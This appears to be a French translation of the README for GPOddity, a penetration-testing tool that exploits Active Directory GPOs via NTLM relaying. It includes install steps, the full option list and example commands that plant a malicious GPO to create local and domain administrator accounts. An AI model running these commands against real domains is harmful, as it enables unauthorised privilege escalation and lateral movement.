
Automatise l'exploitation des GPO Active Directory via le relais NTLM, permettant la génération de modèles GPO malveillants, l'usurpation d'emplacement et l'exécution de commandes pour l'élévation de privilèges et le mouvement latéral.
Le projet GPOddity, visant à automatiser les vecteurs d'attaque des GPO via le relais NTLM (et plus encore).
Pour plus de détails sur l'attaque et une démonstration d'utilisation de l'outil, consultez l'article associé disponible à l'adresse : https://www.synacktiv.com/publications/gpoddity-exploiting-active-directory-gpos-through-ntlm-relaying-and-more
Vous pouvez installer GPOddity via pipx avec la commande suivante :
$ python3 -m pipx install git+https://github.com/synacktiv/GPOddity
Sinon, vous pouvez installer GPOddity manuellement en clonant le dépôt et en installant les dépendances :
$ git clone https://github.com/synacktiv/GPOddity
$ python3 -m pip install -r requirements.txt
$ python3 gpoddity.py --help
Usage: gpoddity.py [OPTIONS]
╭─ Options ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --help Affiche ce message et quitte. │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ Options générales ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --domain TEXTE Le domaine cible [défaut : Aucun] [obligatoire] │
│ * --gpo-id TEXTE Le GUID de l'objet GPO sans les accolades (par exemple, '1328149E-EF37-4E07-AC9E-E35920AD2F59') [défaut : Aucun] [obligatoire] │
│ * --username TEXTE Le nom d'utilisateur disposant des droits d'écriture sur l'objet GPO AD. Il peut s'agir d'un compte machine (par exemple, 'SRV01$') [défaut : Aucun] [obligatoire] │
│ --password TEXTE Le mot de passe de l'utilisateur disposant des droits d'écriture sur l'objet GPO AD [défaut : Aucun] │
│ --hash TEXTE Le hash NTLM de l'utilisateur disposant des droits d'écriture sur l'objet GPO AD, au format 'LM:NT' [défaut : Aucun] │
│ --dc-ip TEXTE [Optionnel] L'IP du contrôleur de domaine si le nom de domaine ne peut pas être résolu. [défaut : Aucun] │
│ --ldaps [Optionnel] Utiliser LDAPS sur le port 636 au lieu de LDAP │
│ --verbose [Optionnel] Activer la sortie verbeuse │
│ --just-clean [Optionnel] Effectuer uniquement le nettoyage à partir des valeurs spécifiées dans le fichier du flag --clean-file. Peut être utile pour nettoyer en cas d'exploitation │
│ incomplète ou de sortie non gracieuse │
│ --clean-file TEXTE [Optionnel] Le fichier du dossier 'cleaning/' contenant les valeurs à restaurer lors de l'utilisation du flag --just-clean. Chemin relatif depuis le dossier d'installation de GPOddity, ou │
│ chemin absolu │
│ [défaut : Aucun] │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ Options de génération de modèle de stratégie de groupe malveillant ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --command TEXTE La commande à exécuter via le GPO malveillant [défaut : Aucun] │
│ --powershell [Optionnel] Utiliser powershell au lieu de cmd pour l'exécution de la commande │
│ --gpo-type [user|computer] [Optionnel] Le type de GPO ciblé. Peut être 'user' ou 'computer' [défaut : computer] │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ Options de usurpation d'emplacement du modèle de stratégie de groupe ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --rogue-smbserver-ip TEXTE L'adresse IP ou le nom DNS du serveur qui hébergera le GPO malveillant usurpé. Si vous utilisez le serveur SMB de GPOddity, il doit s'agir de l'adresse IP de │
│ l'hôte actuel sur le réseau interne (par exemple, 192.168.58.101) │
│ [défaut : Aucun] │
│ --rogue-smbserver-share TEXTE Le nom du partage qui servira le GPO malveillant usurpé (par exemple, 'synacktiv'). Si vous exécutez le serveur SMB intégré, ne FOURNISSEZ PAS de │
│ noms incluant 'SYSVOL' ou 'NETLOGON' (protégés par le durcissement de chemin UNC par défaut) │
│ [défaut : Aucun] │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ Options du serveur SMB ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ --machine-name TEXTE [Optionnel] Le nom d'un compte machine de domaine valide, qui sera utilisé pour effectuer l'authentification Netlogon (par exemple, SRV01$). Si │
│ omis, utilisera l'utilisateur spécifié avec l'option --username, en supposant qu'il s'agit d'un compte machine valide │
│ [défaut : Aucun] │
│ --machine-pass TEXTE [Optionnel] Le mot de passe du compte machine si spécifié avec --machine-name [défaut : Aucun] │
│ --machine-hash TEXTE [Optionnel] Le hash NTLM du compte machine si spécifié avec --machine-name, au format 'LM:NT' [défaut : Aucun] │
│ --comment TEXTE [Optionnel] Commentaire du partage à afficher lors de la demande de partages [défaut : Aucun] │
│ --interface TEXTE [Optionnel] L'interface sur laquelle le serveur SMB de GPOddity doit écouter [défaut : 0.0.0.0] │
│ --port TEXTE [Optionnel] Le port sur lequel le serveur SMB de GPOddity doit écouter [défaut : 445] │
│ --smb-mode [embedded|forwarded|none] [Optionnel] Le mode 'Embedded' hébergera un serveur SMB sur cette machine. 'Forwarded' transférera le trafic SMB vers un faux contrôleur de domaine │
│ (nécessite un compte machine associé à un enregistrement DNS pointant vers la machine attaquante. Le GPT généré doit être téléchargé sur le faux │
│ DC). 'None' n'hébergera aucun serveur SMB (le GPT généré doit être téléchargé sur un partage SMB accessible en écriture dans le domaine) │
│ [défaut : embedded] │
│ --empty-gpo [Optionnel] Par défaut, GPOddity clone le GPO cible et ajoute une tâche immédiate malveillante. Si ce flag est spécifié, un GPO vide sera │
│ utilisé à la place d'un clone du GPO légitime (peut être utile pour certains cas particuliers où les tâches immédiates ne s'intègrent pas bien avec │
│ les GPO existants) │
│ --attacker-ip TEXTE [Optionnel] L'IP de la machine attaquante sur le réseau interne (requis pour le mode smb 'forwarded') │
│ --forwarded-ip TEXTE [Optionnel] L'IP du faux DC vers lequel le trafic SMB sera transféré (requis pour le mode smb 'forwarded') │
╰──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Voici quelques exemples de commandes tirés de l'article mentionné ci-dessus.
Exploitation d'un GPO Ordinateur pour ajouter un administrateur local. Mode SMB 'embedded' : GPOddity hébergera le GPT sur son serveur SMB intégré.
$ python3 gpoddity.py --gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' --domain 'corp.com' --username 'GPODDITY$' \
--password '[...]' --command 'net user synacktiv_gpoddity Password123! /add && net localgroup administrators synacktiv_gpoddity /add' \
--rogue-smbserver-ip '192.168.58.101' --rogue-smbserver-share 'synacktiv'
Exploitation d'un GPO Utilisateur pour ajouter un administrateur local. Mode SMB 'none' : GPOddity créera le GPT malveillant, et vous devrez ensuite le télécharger sur un partage de domaine accessible en écriture.
$ python3 gpoddity.py --gpo-id '7B36419B-B566-46FA-A7B7-58CA9030A604' --gpo-type 'user' --smb-mode 'none' --domain 'corp.com' --username 'GPODDITY$' \
--password '[...]' --command 'net user user_gpo Password123! /add /domain && net group "Domain Admins" user_gpo /ADD /DOMAIN' \
--rogue-smbserver-ip '192.168.58.102' --rogue-smbserver-share 'synacktiv'
Exploitation d'un GPO Utilisateur pour ajouter un administrateur local. Mode SMB 'forwarded' : vous devrez ajouter un enregistrement DNS pointant vers la machine de GPOddity, associé à un compte machine. Vous devrez fournir l'adresse IP d'un faux DC dont le mot de passe est synchronisé avec le compte machine, et télécharger le GPT malveillant sur ce faux DC. Pour plus d'informations sur ce mode, consultez ma présentation Black Alps 2024 (disponible prochainement).
$ python3 gpoddity.py --gpo-id 'B12968FB-EEEE-404A-A583-101A2E249BF9' --domain 'corp.com' --username 'lowpriv' \
--password '[...]' --command 'whoami > C:\poc_forwarded.txt' --gpo-type 'user' --rogue-smbserver-ip 'gpoddity.corp.com' \
--rogue-smbserver-share 'synacktiv' --smb-mode 'forwarded' --attacker-ip '192.168.123.16' --forwarded-ip '192.168.125.245'
L'un des avantages de l'utilisation de GPOddity réside dans la possibilité d'exploiter les GPO de manière sûre, sans altérer les fichiers GPT légitimes, minimisant ainsi les risques de perturbation dans les environnements de production. Cependant, GPOddity doit tout de même modifier certains attributs des fichiers du conteneur de stratégie de groupe (GPC) afin d'usurper temporairement l'emplacement du GPT. Par conséquent, garantir le bon fonctionnement de l'environnement de production implique de revenir sur ces modifications après l'exploitation.
Par défaut, comme expliqué dans l'article, GPOddity le fait pour vous en annulant toute modification effectuée sur le GPC à la fin de l'exploit, lorsque l'utilisateur interrompt le programme avec CTRL+C. Ainsi, dans des conditions normales, vous n'avez rien à faire pour garantir que tout soit nettoyé.
Cependant, si pour une raison quelconque vous ne parvenez pas à quitter GPOddity proprement via un CTRL+C (processus tué, perte de connexion réseau, etc.), vous pouvez lancer GPOddity avec le flag '--just-clean' pour effectuer les actions de nettoyage de manière indépendante.
Cette fonctionnalité fonctionne de la manière suivante. Chaque fois que GPOddity est exécuté, l'état initial du GPO est sauvegardé dans un fichier sous le chemin cleaning/[ID GPO]/[timestamp].txt. Vous pouvez ensuite restaurer toutes les valeurs contenues dans ce fichier de sauvegarde via le flag '--just-clean'. Par exemple, supposons que vous souhaitiez restaurer tous les attributs du GPO avec l'ID '46993522-7D77-4B59-9B77-F82082DE9D81' à leurs valeurs avant l'exécution de GPOddity le 14 octobre 2023 à 08:08:44. Vous pouvez exécuter la commande suivante :
$ python3 gpoddity.py --just-clean --domain 'corp.com' --gpo-id '46993522-7D77-4B59-9B77-F82082DE9D81' --username 'GPODDITY$' --password '[...]' --clean-file cleaning/46993522-7D77-4B59-9B77-F82082DE9D81/2023_10_14-08_08_44.txt
